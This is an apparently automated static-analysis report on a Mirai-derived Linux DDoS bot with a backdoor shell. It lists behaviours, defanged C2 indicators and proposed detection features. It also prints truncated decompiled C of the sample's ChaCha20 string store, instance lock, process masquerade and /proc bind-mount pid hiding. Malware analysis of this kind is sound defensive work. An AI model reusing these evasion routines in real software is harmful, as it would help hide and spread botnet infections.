Static analysis · ELF64 x86-64 static executable (stripped, no interpreter) · 2026-10-22

Mirai botnet

MaliciousRole: payloadCapability: botnetFamily: Mirai · confidence 0.55

A stripped, static x86-64 Linux executable with no imports (E21): an unpacked Mirai-derived DDoS bot with an added backdoor shell. Its strings sit in a 476-slot table ChaCha20-decrypted at start-up, with the cipher constant masked (B1). On a victim host it runs as one daemonised instance under a random process name. As root it hides its pid behind another process's /proc entry and kills competing processes (B3-B5). It registers with its C2 over an X25519-keyed, ChaCha20/HMAC channel (B6, B7). For its operator it is a flood node with 24 attack vectors (B8), an interactive shell on the host (B10, B11) and a self-update path (B9).

File

ELF64 x86-64 static executable (stripped, no interpreter) · 175 KB

nothing unpacked from it

Behaviours

11 reachable from the entry point

Code reached

87%

475 of 546 functions from the entry

Network

31 indicators

15 C2

Decoded strings

461

10 notable

Detection features

build, family, technique scope

Open questions

reads the analysis attempted and stopped

sha256 0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486

Read the full technical report → Every behaviour and indicator in detail, with the evidence, decoded strings, code and call graph.

How it runs

The behaviours as a flow, from the entry point: the checks that can end the run, then what it collects, then what it sends and what follows. Boxes follow the order of the analyst's account; a dashed box is code whose path from the entry is not proven. Static analysis: not an observed run.

Throughout: Encrypted string store (B1); Daemonises and masquerades (B3).

What it does in the full report →

main decrypts the store first. 461 entries come out: identifiers, paths, 24 hostnames and format strings (B1; E22, E24, E34, E35-E37). A listener on loopback port I2 enforces a single instance, and a newer copy that connects to it takes over (B2; E9). A one-byte marker page is mapped read-only from a file, a /proc-found mapping or a memfd (E33; U5).

The bot then forks, calls setsid and closes stdio. As root it sets itself non-dumpable and takes a store name through prctl and argv[0] (B3; E11). It bind-mounts a donor process's /proc directory over its own (B4; E12). Workers walk /proc and kill processes whose names match store identifiers (B5; E19, E25).

The C2 host is store slots 0-7, I3 (E24, E29). Resolution tries a literal address, then getaddrinfo, then the bot's own DNS queries to 18 embedded public resolvers (E17, E18). The port is random from a 14-entry table, I20-I33 (E30). The hello carries a fresh X25519 key against a peer key derived from 32 embedded bytes, and encrypts the registration record: CPU count, memory, uname, euid and limits (B6, B7; E14, E31). Incoming frames are tag-checked and then ChaCha20-decrypted, or XORed with one byte in a plain mode (E15, E32; U2).

Attack commands follow Mirai's layout: duration, vector id, IP/prefix targets and options (E6). A forked worker calls the vector from a 24-entry {id, function} table, and a sibling ends it after the duration (B8; E7, E8; U4). Command 0xff kills the bot's children. Command 0xfe downloads from I13, sets the file to 0755 and executes it (B9; E13).

A second message class opens a pty shell (B11; E26, E28). The slave becomes the child's controlling terminal and stdio, and the child executes a store shell path. Its user and home values come from store-named programs, run through a pipe/fork/execve runner, and from the account entry matching getuid (B10; E27). Output is relayed back over the C2, with a pipe fallback.

Not recovered: 23 store entries and the other hostname slots' readers (U1), the embedded key bytes and primitives (U2), the shell relay (U3), vector templates (U4) and the marker page's reader (U5).

Behaviour	From the entry	ATT&CK	Evidence
Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings	reachable	T1027	E2 E3 E4 E5 E35 E36 E37 E22
Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)	reachable		E9 E1 E33
Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]	reachable	T1036.004	E1 E11 E25
Hides its pid by bind-mounting another process's /proc directory over its own (root only)	reachable	T1564	E12 E25
Kills other processes found by walking /proc (killer workers) and its own tracked children on command match names are store identifiers	reachable	T1489	E19 E6 E25
C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)	reachable	T1095 T1573.002 T1071.004	E1 E15 E16 E17 E18 E24 E29 E30 E31 E32
Registers with system information: CPU count, memory size, uname, euid, local address	reachable	T1082 T1016	E14 E10
DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set duration	reachable	T1498 T1499	E6 E7 E8
Self-update on command: downloads a file, chmod 0755, execve	reachable	T1105	E13 E6 E24
Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uid	reachable	T1033 T1059.004	E20 E27 E19 E34
Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallback	reachable	T1059.004	E26 E28 E34

How much of the code was read functions →

From the entry point the Ghidra graph reaches 475 of 546 functions. With the 24 attack-table slots added as roots it reaches 526, including 264 of 273 user functions. 28 computed sites stay unresolved, so 20 functions are only possibly reached (U6).

What it talks to and touches in the full report →

Network values are defanged (hxxp, [.]); restore them before use. A dead drop sits on a public service: match the full URL, never block the domain. Host artefacts are files, paths and registry keys the sample targets or creates.

Kind	Type	Role	Value	Evidence
network	domain	c2	thunder[.]godofthunder[.]st	E24 E22 E29
network	domain	other	2sexy4u[.]eth	E24 E22
network	domain	other	sushiconsumer[.]eth	E24 E22
network	domain	other	ethereum[.]publicnode[.]com	E24 E22
network	domain	other	ethereum-rpc[.]publicnode[.]com	E24 E22
network	domain	other	eth[.]drpc[.]org	E24 E22
network	domain	other	1rpc[.]io	E24 E22
network	domain	other	eth-mainnet[.]blockreq[.]com	E24 E22
network	domain	other	ethereum-public[.]nodies[.]app	E24 E22
network	domain	other	rpc[.]mevblocker[.]io	E24 E22
network	domain	download	hackattackkaboom[.]botlesscucks[.]st	E24 E13
network	domain	other	hik[.]gettingheadfromduckysmom[.]st	E24
network	domain	other	ro[.]product[.]model	E24 E22
network	domain	other	ro[.]product[.]device	E24 E22
network	domain	other	ro[.]product[.]name	E24 E22
network	domain	other	ro[.]product[.]brand	E24 E22
network	domain	other	net[.]hostname	E24 E22
network	port	c2	50217	E29 E30
network	port	c2	50341	E29 E30
network	port	c2	50488	E29 E30
network	port	c2	50613	E29 E30
network	port	c2	50792	E29 E30
network	port	c2	50904	E29 E30
network	port	c2	51127	E29 E30
network	port	c2	51289	E29 E30
network	port	c2	51456	E29 E30
network	port	c2	51603	E29 E30
network	port	c2	51871	E29 E30
network	port	c2	52134	E29 E30
network	port	c2	52398	E29 E30
network	port	c2	52645	E29 E30
config / other	port	other	not readable at its recorded location	E9

Notable strings all 461 decoded strings →

Picked from the decoded strings by simple pattern rules. They show what the code refers to, not what it was seen doing.

URL or domain	`ethereum.publicnode.comethereum-rpc.publicnode.cometh.drpc.org1rpc.ioeth-mainnet.blockreq.comethereum-public.nodies.apprpc.mevblocker.io`
Anti-analysis	`iprt-VBoxWQueueqemuQEMU`

Verdict and detection opportunities all anchor details →

Malicious botnet payload with backdoor capability. The family is Mirai at 0.55: there is no corpus label, and the code follows Mirai's source structure throughout (E1, E6, E7, E9, E10). The decoded strings name no variant.

A1: the masked ChaCha20 constant is a fixed 16-byte run, confirmed against RFC 7539 (E37).
A2: the 24-record method table is the lineage's dispatch structure (E7, E8).
A3: the /proc bind-mount routine survives store re-keying (E12).
A4: the resolver table is build-specific (E17, E18).
A5: the loopback lock constants are weak alone (E9).

Features a rule could match on, as proposed by the analysis. None is a rule until CORD Detection has measured it against clean software.

ID	What to match	Scope	Scan type	How stable	Possible false matches
A1	16-byte ChaCha20 constant stored XOR 0xa5 in .rodata, read by the string-store cipher	family	realtime	structural_constant; a fixed public constant under a fixed one-byte mask; changes only if the builder changes the mask or cipher; E3, E4	very low; the masked constant is not a natural byte run. Match anywhere in the file rather than at the offset across builds
A2	attack-method table at the start of .data: 24 records of {u8 id 0..23, 7 zero bytes, u64 pointer into .text}, count 24 at +0x180	family	batch	behavioural_template; Mirai-lineage method table; ids sequential and count fixed by the vector set; E7, E8	other Mirai derivatives with the same vector count; the layout itself is shared by the lineage
A3	pid-hiding routine: builds two /proc/<pid> paths from a store prefix and calls mount with flags 0x1000 (MS_BIND), immediate operands masked	technique	realtime	behavioural_template; compiler output of a small fixed routine; survives string-store re-keying; E12	legitimate container tools bind-mount, but not /proc/<pid> onto /proc/<pid>; pair with A1 or A2
A4	18-entry DNS resolver address table in .rodata used by the C2 resolver	build	realtime	config; list chosen by the builder; may be edited between builds; E17, E18	network tools that embed public resolver lists in the same order; low for the full 72 bytes
A5	single-instance lock constants in one function: htonl(0x7f000001) and htons(0x4d2) beside socket(2,1,0)/bind/listen	family	realtime	behavioural_template; port is a build constant; the shape is Mirai lineage; E9	any program binding loopback port 1234; weak alone

Open questions in the full report →

23 of 484 string-store sites fail the printable control, and the readers of the other hostname-class slots (0x8-0x10, 0x114, 0x13f-0x143) are not known.
Why it stopped: the 23 sites fail the printable-likeness control (short entries, likely binary values or a second scheme); no xref pass for slots 0x8-0x10 and 0x13f-0x143 was run
Where the 32 bytes behind the C2 peer key live, and the exact hash/MAC primitives of the session.
Why it stopped: 0x4122e0 (source of the embedded bytes), 0x411241 (hash) and 0x412677 (MAC) were not opened; the capa HMAC/Curve25519 leads agree with the read but the primitives are not named by a read
The shell relay 0x40a31c and the shell-message check 0x40b0b8.
Why it stopped: the relay and the magic check were not opened; the shell itself is established
Protocol and packet template of each of the 24 attack vectors at 0x62b000.
Why it stopped: vector bodies not read individually; a per-vector read matters for network signatures only
What the read-only marker page at 0x62bdc0 is used for after 0x40c8fe maps it.
Why it stopped: the readers of 0x62bdc0 were not followed
Reach of 9 user functions (among them 0x401a5e and 0x4021f5, which connect and send) and 28 unresolved computed sites in reached code.
Why it stopped: native_callgraph.py and dispatch_reach.py parse PE only (PEFormatError on this ELF); no ELF code-slot pass was run

Full technical report

CORD Research report r20261022-1

Mirai — botnet payload

sha2560c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486

not blind depth full model claude-opus-5-5 · medium input 21.8M output ~151k time 34 min 43 s schema cord-research.report/1.5.0 source report.json

OriginalMirai — botnet payload0.55

Summary

Behaviour

Not recovered: 23 store entries and the other hostname slots' readers (U1), the embedded key bytes and primitives (U2), the shell relay (U3), vector templates (U4) and the marker page's reader (U5).

Reach

Verdict and anchors

A1: the masked ChaCha20 constant is a fixed 16-byte run, confirmed against RFC 7539 (E37).
A2: the 24-record method table is the lineage's dispatch structure (E7, E8).
A3: the /proc bind-mount routine survives store re-keying (E12).
A4: the resolver table is build-specific (E17, E18).
A5: the loopback lock constants are weak alone (E9).

11behaviours 32IOCs 5anchors 6unknowns 43functions decompiled 37evidence items

Terms used in this report

Original file, unpacked file: The original file is the sample as collected. An unpacked file is one the analysis extracted or decoded from it, numbered in order (in report.json: L0, L1, L2…).
Reachable from the entry point: The static call graph shows a path from where the program starts to this code. It does not mean the code was seen running.
Code present, path not proven: The code is in the file, but the analysis could not prove a route to it, usually because of indirect calls or jump tables.
B, E, A, U, D numbers: Behaviours, evidence items, detection anchors, open questions (unknowns) and derived files (such as decoded strings). Every claim cites the evidence items it rests on.
API hashing: Looking up Windows functions at run time by a hash of their name, so the names never appear in the file.
MBA: Mixed boolean-arithmetic: computing a simple constant through a tangle of AND, OR, XOR and arithmetic.
ATT&CK, MBC: Public catalogues of attacker techniques (MITRE ATT&CK) and malware behaviours (MBC).
IOC: Indicator of compromise: a value, such as a domain or file name, that shows up on an infected host or network.

Behaviours at a glance

B1 Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format stringsT1027
B2 Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)
B3 Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]T1036.004
B4 Hides its pid by bind-mounting another process's /proc directory over its own (root only)T1564
B5 Kills other processes found by walking /proc (killer workers) and its own tracked children on commandT1489
B6 C2 over TCP to the store host in slots 0-7 on a random port from a 14-entry table; own DNS fallback; X25519 handshake to a key derived from embedded bytes, then HMAC-tagged ChaCha20 frames (or single-byte XOR in the plain mode)T1095 T1573.002 T1071.004
B7 Registers with system information: CPU count, memory size, uname, euid, local addressT1082 T1016
B8 DDoS on command: 24 attack vectors dispatched from a static {id, fn} table, each in a forked worker for a set durationT1498 T1499
B9 Self-update on command: downloads a file, chmod 0755, execveT1105
B10 Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uidT1033 T1059.004
B11 Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallbackT1059.004

Sample and layers

gated nosnapshot taken at 2026-10-01 20:38:11.542859+00

id	size	verdict	sha256	format	unpack stop	evidence
Original	179632		0c5486f0…360d1486	ELF64 x86-64 static executable (stripped, no interpreter)	fixed_point	E21, E35
L0 · verdict classification malicious role payload capability botnet family Mirai confidence 0.55 evidence E1, E6, E7, E8, E26, E35

Verdict

What the analysis concludes the sample is, how confident it is, and the evidence that conclusion rests on.

Original

Mirai — botnet payload

confidence 0.55

classification

malicious

role

payload

capability

botnet

evidence

E1, E6, E7, E8, E9, E10, E3, E35, E12, E15, E26, E31

masquerades as

what: a random process name from its string store (prctl and argv[0])
evidence: E11, E25

why

No corpus family label (cluster elf/unk). Code structure matches the Mirai source: main loop with loopback single-instance lock and takeover, local address via UDP connect to a public resolver on port 53, attack_parse layout (u32 duration, u8 vector, ip+prefix targets, length-prefixed options), forked attack workers dispatched from an {id, fn} method table, slot-id string table. A heavily extended derivative: ChaCha20 string store (461 of 484 entries recovered, E35), 24 vectors, X25519-keyed ChaCha20/HMAC C2 session, a remote PTY shell (backdoor capability beside the DDoS bot), /proc bind-mount hiding. The decoded strings name no variant, so the variant stays unnamed.

What it does 11

Each behaviour the analysis found, with the techniques it maps to and whether the code is reachable from where the program starts. Open "Show the evidence" to see what each claim rests on, with code previews; full functions are under Code.

Encrypted string store (ChaCha20, key and nonce in .data) decrypted at start-up: 461 entries of identifiers, paths, hostnames and format strings

T1027file Originalreachability reachable from the entry point

functions: 0x40dba00x40d8fa0x40dae10x40d6c60x40c607

Show the evidence · 8 items: E2, E3, E4, E5, E22, E35, E36, E37

read from the file·function

0x40dba0

string-store init: allocates 0x1dc 16-byte slots at *0x62e6f0 and adds 473 entries via 0x40d8fa(id, src, len); a second small table at 0x62e640 is filled via 0x40dae1; 0x40c607(id) is the accessor

fills the 476-slot string store with… · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_0040dba0(void)

{
  int *piVar1;
  uint uVar2;
  uint uVar3;
  long lVar4;
  ulong uVar5;
  ulong uVar6;
  undefined1 *puVar7;
  undefined1 *puVar8;
  undefined4 *puVar9;
  undefined1 *puVar10;
  int iVar11;
  byte bVar12;
  
  bVar12 = 0;
  DAT_0062dba0 = 0;
  DAT_0062e6f0 = (undefined4 *)FUN_00417f10(0x1dc,0x10);
  if (DAT_0062e6f0 == (undefined4 *)0x0) {
    DAT_0062e6f0 = &DAT_0062bde0;
    puVar9 = &DAT_0062bde0;
    for (lVar4 = 0x770; lVar4 != 0; lVar4 = lVar4 + -1) {
      *puVar9 = 0;
      puVar9 = puVar9 + (ulong)bVar12 * -2 + 1;
    }
  }
/* … 528 more lines */

Full function, callers and assembly →

copies one store entry into its slot… · decompiled C, first 30 lines

undefined8 FUN_0040d8fa(uint param_1,undefined1 *param_2,uint param_3,undefined8 param_4)

{
  bool bVar1;
  undefined1 *puVar2;
  ulong uVar3;
  undefined *puVar4;
  long lVar5;
  undefined *puVar6;
  long *plVar7;
  byte bVar8;
  
  bVar8 = 0;
  plVar7 = (long *)((ulong)param_1 * 0x10 + DAT_0062e6f0);
  puVar2 = (undefined1 *)FUN_00417f10(1,(long)(int)param_3 + 1);
  *plVar7 = (long)puVar2;
  if (puVar2 == (undefined1 *)0x0) {
    bVar1 = 0x1f < (int)param_3;
    if (((((((param_1 != 0) || (puVar4 = &DAT_0062e5e0, bVar1)) &&
           ((param_1 != 1 || (puVar4 = &DAT_0062e5c0, bVar1)))) &&
          ((param_1 != 2 || (puVar4 = &DAT_0062e5a0, bVar1)))) &&
         (((param_1 != 3 || (puVar4 = &DAT_0062e580, bVar1)) &&
          ((((param_1 != 4 || (puVar4 = &DAT_0062e560, bVar1)) &&
            ((param_1 != 5 || (puVar4 = &DAT_0062e540, bVar1)))) &&
           ((param_1 != 6 || (puVar4 = &DAT_0062e520, bVar1)))))))) &&
        ((param_1 != 7 || (puVar4 = &DAT_0062e500, bVar1)))) &&
       (((param_1 != 8 || (puVar4 = &DAT_0062e4e0, bVar1)) &&
        ((param_1 != 9 || (puVar4 = &DAT_0062e4c0, bVar1)))))) {
      if (((0x2f < (int)param_3) || (lVar5 = (long)DAT_0062dba0, 0x2f < DAT_0062dba0)) ||
/* … 32 more lines */

Full function, callers and assembly →

adds and decrypts an entry of the… · decompiled C, first 30 lines

void FUN_0040dae1(int param_1,undefined1 *param_2,uint param_3)

{
  undefined1 *puVar1;
  ulong uVar2;
  long lVar3;
  long *plVar4;
  undefined1 *puVar5;
  byte bVar6;
  
  bVar6 = 0;
  lVar3 = (long)param_1 * 0x10;
  puVar1 = (undefined1 *)FUN_00417f10(1,(long)(int)param_3 + 1);
  uVar2 = (ulong)param_3;
  plVar4 = (long *)(&DAT_0062e640 + lVar3);
  *plVar4 = (long)puVar1;
  if (puVar1 == (undefined1 *)0x0) {
    *(undefined4 *)(&DAT_0062e648 + lVar3) = 0;
    *plVar4 = (long)&DAT_0062e610;
  }
  else {
    *(uint *)(&DAT_0062e648 + lVar3) = param_3;
    puVar5 = puVar1;
    for (; uVar2 != 0; uVar2 = uVar2 - 1) {
      *puVar5 = *param_2;
      param_2 = param_2 + (ulong)bVar6 * -2 + 1;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
    FUN_0040d6c6(&DAT_0062ba00,1,&DAT_0062b9e8,puVar1);
/* … 5 more lines */

Full function, callers and assembly →

returns the decrypted store entry for a… · decompiled C, first 30 lines

long FUN_0040c607(uint param_1)

{
  long lVar1;
  long *plVar2;
  
  if ((param_1 < 0x1dc) && (DAT_0062e6f0 != 0)) {
    plVar2 = (long *)(DAT_0062e6f0 + (ulong)param_1 * 0x10);
    lVar1 = *plVar2;
    if (lVar1 != 0) {
      if ((int)plVar2[1] < 1) {
        lVar1 = 0;
      }
      return lVar1;
    }
  }
  return 0;
}

Full function, callers and assembly →

read from the file·function

0x40d6c6

stream cipher called on every store entry with (key 0x62ba00, counter 1, nonce 0x62b9e8, buf, buf, len); builds its 16-byte constant from 0x426f20 XOR 0xa5 then loads it as 4 LE words - ChaCha20 shape

chaCha20 stream cipher, used for the… · decompiled C, first 30 lines

void FUN_0040d6c6(long param_1,undefined8 param_2,undefined8 param_3,long param_4,long param_5,
                 ulong param_6)

{
  byte bVar1;
  undefined4 uVar2;
  long lVar3;
  long lVar4;
  undefined8 extraout_RDX;
  long extraout_RDX_00;
  long extraout_RDX_01;
  int *piVar5;
  byte *pbVar6;
  int *piVar7;
  undefined1 *puVar8;
  int *piVar9;
  int iVar10;
  byte bVar11;
  int local_f0 [4];
  undefined1 local_e0 [32];
  int local_c0;
  undefined4 local_bc;
  undefined4 local_b8;
  undefined4 local_b4;
  int local_b0 [16];
  byte local_70 [64];
  
  bVar11 = 0;
  param_6 = param_6 & 0xffffffff;
/* … 73 more lines */

Full function, callers and assembly →

read from the file·address range

0x426f20

16 bytes in .rodata XOR-0xa5 encoded: the cipher constant read by 0x40d6c6

read from the file·address range

0x62b9e8

initialised .data holding the 12-byte nonce (0x62b9e8) and 32-byte key (0x62ba00) of the string-store cipher

E22

decoded by the analysis·analysis output

out/L0/strtable/strings.json

string store decrypted with ChaCha20 (RFC 7539, counter 1) from the .data key and nonce: 461 of 484 sites give fully printable text, by class 200 identifiers, 163 paths, 24 hostnames, 9 format strings, 1 numeric

E35

decoded by the analysis·analysis output

out/L0/strtable/strings_decoded.jsonl

per-site decode of the string store (484 lines, one per setter site): ChaCha20 RFC 7539 with the .data key and nonce and block counter 1; 461 sites accepted with printable ratio 1.0, 23 rejected by the likeness control

E36

decoded by the analysis·analysis output

out/L0/strtable/census.json

census of the encrypted store's setter call sites, the inputs of the decode: 484 sites (473 via 0x40d8fa, 11 via 0x40dae1), 454 distinct source addresses, 5412 encrypted bytes, none unresolved or outside the file

E37

decoded by the analysis·analysis output

out/L0/strtable/controls.json

the 16 bytes at file offset 0x26f20 XOR 0xa5 equal the RFC 7539 ChaCha20 constant (known-plaintext check of the cipher identification); key and nonce are non-zero

Single-instance lock on a loopback TCP port, a newer copy takes over; plus a shared read-only marker page (file, another process's mapping, memfd or 0600 file)

file Originalreachability reachable from the entry point

functions: 0x412d780x4001d00x40c8fe0x40c6f40x40c63d

Show the evidence · 3 items: E1, E9, E33

read from the file·function

0x4001d0

main (entry passes 0x4001f2 inside it to the libc start routine): ignores signals, chdir, decrypts the string store, rand init, single-instance lock, fork+setsid daemonise, closes stdio, process-name masquerade, then a select() loop that opens a non-blocking TCP socket to the resolved C2, sends a heartbeat every 6th idle round, and passes received bytes to the command parser 0x4138f6

main · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004001d0(int param_1,long param_2)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  uint uVar4;
  uint uVar5;
  long *plVar6;
  long lVar7;
  ulong uVar8;
  int *piVar9;
  int iVar10;
  int iVar11;
  undefined1 *puVar12;
  undefined1 *puVar13;
  undefined8 uVar14;
  ulong *puVar15;
  bool bVar16;
  byte bVar17;
  int local_994;
  undefined8 local_990;
  undefined8 local_988;
  ulong local_980 [2];
  undefined1 local_970 [32];
  ulong local_950 [16];
  ulong local_8d0 [16];
/* … 342 more lines */

Full function, callers and assembly →

read from the file·function

0x412d78

single-instance lock: socket/SO_REUSEADDR/non-blocking bind to loopback port 0x4d2 and listen, with a retry counter of 0x1a; main accepts on this socket and, when another copy connects, kills its workers and restarts itself

single-instance lock on a loopback TCP… · decompiled C, first 30 lines

/* WARNING: Type propagation algorithm not settling */

void FUN_00412d78(void)

{
  undefined2 uVar1;
  int iVar2;
  uint uVar3;
  int iVar4;
  int *piVar5;
  long lVar6;
  long *plVar7;
  int iVar8;
  byte bVar9;
  undefined4 local_e4;
  int local_e0 [2];
  undefined8 local_d8;
  undefined8 local_d0;
  undefined2 local_c8;
  undefined2 local_c6;
  int local_c4;
  undefined2 local_b8;
  undefined2 local_b6;
  int local_b4;
  long local_a8 [17];
  
  bVar9 = 0;
  local_e4 = 1;
  if (DAT_0062efd0 < 5) goto LAB_00412da0;
/* … 124 more lines */

Full function, callers and assembly →

E33

read from the file·function set

["0x40c8fe", "0x40c6f4", "0x40c63d"]

instance marker page: 0x40c8fe first tries 16 store paths, then 0x40c6f4 scans /proc/<pid>/ store-named files for lines matching store slots 0x183/0x184 and opens the match, then memfd_create (syscall 0x13f) on a store name, then a 0600 file at store path 0x166; each candidate gets one byte written and is mapped 0x1000 bytes PROT_READ MAP_PRIVATE by 0x40c63d into 0x62bdc0; the content written is a single byte, not a copy of the binary

sets up the shared read-only marker page · decompiled C, first 30 lines

undefined4 FUN_0040c8fe(void)

{
  int iVar1;
  int iVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  
  if (DAT_0062bdc0 != 0) {
    return 0;
  }
  lVar5 = 0;
  do {
    lVar3 = FUN_0040c607((&DAT_00426ee0)[lVar5]);
    if ((((lVar3 != 0) && (lVar4 = FUN_0040d114(lVar3,"x86_64"), lVar4 == 0)) &&
        (lVar4 = FUN_0040d114(lVar3,"x86-64"), lVar4 == 0)) &&
       (iVar1 = FUN_0040c673(lVar3), iVar1 == 0)) {
      return 0;
    }
    lVar5 = lVar5 + 1;
  } while (lVar5 != 0x10);
  iVar1 = FUN_0040c6f4();
  if (iVar1 == 0) {
    return 0;
  }
  lVar5 = FUN_0040c607(0x185);
  if (((lVar5 != 0) && (lVar5 = FUN_0041d090(lVar5,0x2f), lVar5 != 0)) &&
     (iVar1 = FUN_0041944f(0x13f,lVar5 + 1,1), -1 < iVar1)) {
/* … 18 more lines */

Full function, callers and assembly →

scans per-process /proc files for a… · decompiled C, first 30 lines

undefined8 FUN_0040c6f4(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  undefined1 *puVar6;
  undefined8 uVar7;
  char *pcVar8;
  undefined1 auStack_20b8 [24];
  uint local_20a0;
  undefined1 local_2028 [4096];
  char local_1028 [4096];
  
  lVar2 = FUN_0040c607(0x15e);
  if ((lVar2 != 0) ||
     (((DAT_0062e6f0 != 0 && (lVar2 = *(long *)(DAT_0062e6f0 + 0xce0), lVar2 != 0)) &&
      (4 < *(int *)(DAT_0062e6f0 + 0xce8))))) {
    lVar2 = FUN_0041779c(lVar2);
    if (lVar2 != 0) {
LAB_0040c743:
      lVar3 = FUN_004177dd(lVar2);
      if (lVar3 != 0) {
        if (*(char *)(lVar3 + 0x12) != '\x04') goto code_r0x0040c73f;
        goto LAB_0040c7ba;
      }
      FUN_00417776(lVar2);
/* … 52 more lines */

Full function, callers and assembly →

maps a marker fd 0x1000 bytes PROT_READ… · decompiled C, first 30 lines

undefined1  [16]
FUN_0040c63d(undefined4 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  long lVar1;
  undefined8 uVar2;
  undefined1 auVar3 [16];
  
  lVar1 = FUN_0041951f(0,0x1000,1,2,param_1,0);
  uVar2 = 0xffffffff;
  if (lVar1 != -1) {
    uVar2 = 0;
    DAT_0062bdc0 = lVar1;
  }
  auVar3._8_8_ = param_4;
  auVar3._0_8_ = uVar2;
  return auVar3;
}

Full function, callers and assembly →

Daemonises and masquerades: fork/setsid, closes stdio, random process name via prctl and argv[0]

T1036.004file Originalreachability reachable from the entry point

functions: 0x4001d00x414dca0x4139d0

Show the evidence · 3 items: E1, E11, E25

read from the file·function

0x4001d0

main · decompiled C, first 30 lines

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 FUN_004001d0(int param_1,long param_2)

{
  char cVar1;
  int iVar2;
  undefined4 uVar3;
  uint uVar4;
  uint uVar5;
  long *plVar6;
  long lVar7;
  ulong uVar8;
  int *piVar9;
  int iVar10;
  int iVar11;
  undefined1 *puVar12;
  undefined1 *puVar13;
  undefined8 uVar14;
  ulong *puVar15;
  bool bVar16;
  byte bVar17;
  int local_994;
  undefined8 local_990;
  undefined8 local_988;
  ulong local_980 [2];
  undefined1 local_970 [32];
  ulong local_950 [16];
  ulong local_8d0 [16];
/* … 342 more lines */

Full function, callers and assembly →

E11

read from the file·function set

["0x414dca", "0x4139d0"]

process masquerade: when root, prctl(PR_SET_DUMPABLE,0) and prctl(PR_SET_NAME) to one of 8 store names (slots 0xe7-0xee) picked at random; argv[0] overwritten with a store name padded with spaces

as root, sets non-dumpable and a random… · decompiled C, first 30 lines

undefined8 FUN_00414dca(undefined4 param_1)

{
  char cVar1;
  int iVar2;
  uint uVar3;
  undefined4 uVar4;
  undefined8 *puVar5;
  char *pcVar6;
  long lVar7;
  undefined8 uVar8;
  ulong uVar9;
  undefined1 *puVar10;
  char *pcVar11;
  byte bVar12;
  char local_28 [16];
  
  bVar12 = 0;
  pcVar6 = local_28;
  iVar2 = FUN_0041dc31();
  if (iVar2 != 0) {
    return 0;
  }
  FUN_00417ea8(4,0,0,0,0);
  FUN_0041c0d4(5,1);
  local_28[0] = '\0';
  if (DAT_0062e6f0 == 0) {
LAB_00414e16:
    local_28[0] = '\0';
/* … 81 more lines */

Full function, callers and assembly →

overwrites argv[0] with a store process… · decompiled C, first 30 lines

void FUN_004139d0(undefined8 *param_1)

{
  undefined4 uVar1;
  int iVar2;
  ulong uVar3;
  long lVar4;
  undefined8 *puVar5;
  undefined8 *puVar6;
  undefined1 *puVar7;
  undefined8 *puVar8;
  byte bVar9;
  undefined8 local_d9 [7];
  undefined1 local_9a;
  undefined8 local_99;
  undefined8 uStack_91;
  undefined1 local_89 [121];
  
  bVar9 = 0;
  uVar1 = FUN_0041daf0(0);
  FUN_0041bc9b(uVar1);
  iVar2 = FUN_0041bca6();
  if (DAT_0062e6f0 != 0) {
    puVar5 = (undefined8 *)((long)(iVar2 % 8 + 0xe7) * 0x10 + DAT_0062e6f0);
    if (((undefined1 *)*puVar5 != (undefined1 *)0x0) &&
       (uVar3 = (ulong)*(uint *)(puVar5 + 1), *(uint *)(puVar5 + 1) - 1 < 0x3f)) {
      puVar6 = local_d9;
      puVar7 = (undefined1 *)*puVar5;
      puVar8 = puVar6;
/* … 40 more lines */

Full function, callers and assembly →

E25

decoded by the analysis·analysis output

out/L0/strtable/strings.json

slot classes for the analysed readers: masquerade names 0xe7-0xee and hiding/killer donor names 0x197-0x19f are short identifiers; 0x40c8fe paths 0x185 and 0x166, the registration's system files 0xde/0xdf (read by 0x4132d0) and the /proc prefix 0xce (0x41479d, 0x414879) are paths (scripts/slotclass.py prints class and length only)

Hides its pid by bind-mounting another process's /proc directory over its own (root only)

T1564file Originalreachability reachable from the entry point

functions: 0x41479d0x414879

Show the evidence · 2 items: E12, E25

E12

read from the file·function set

["0x41479d", "0x414879"]

pid hiding: as root, walks numeric /proc entries for a donor process whose name matches store slots 0x197-0x19f and mount(src=/proc/<donor>, dst=/proc/<self>, flags 0x1000 MS_BIND) over its own proc dir

bind-mounts a donor /proc/<pid> over… · decompiled C, first 30 lines

ulong FUN_0041479d(undefined4 param_1,undefined4 param_2,undefined8 param_3)

{
  int iVar1;
  ulong uVar2;
  undefined1 local_c8 [80];
  undefined1 local_78 [80];
  
  local_78[0] = 0;
  local_c8[0] = 0;
  thunk_FUN_0040d152(local_c8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  thunk_FUN_0040d152(local_78,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
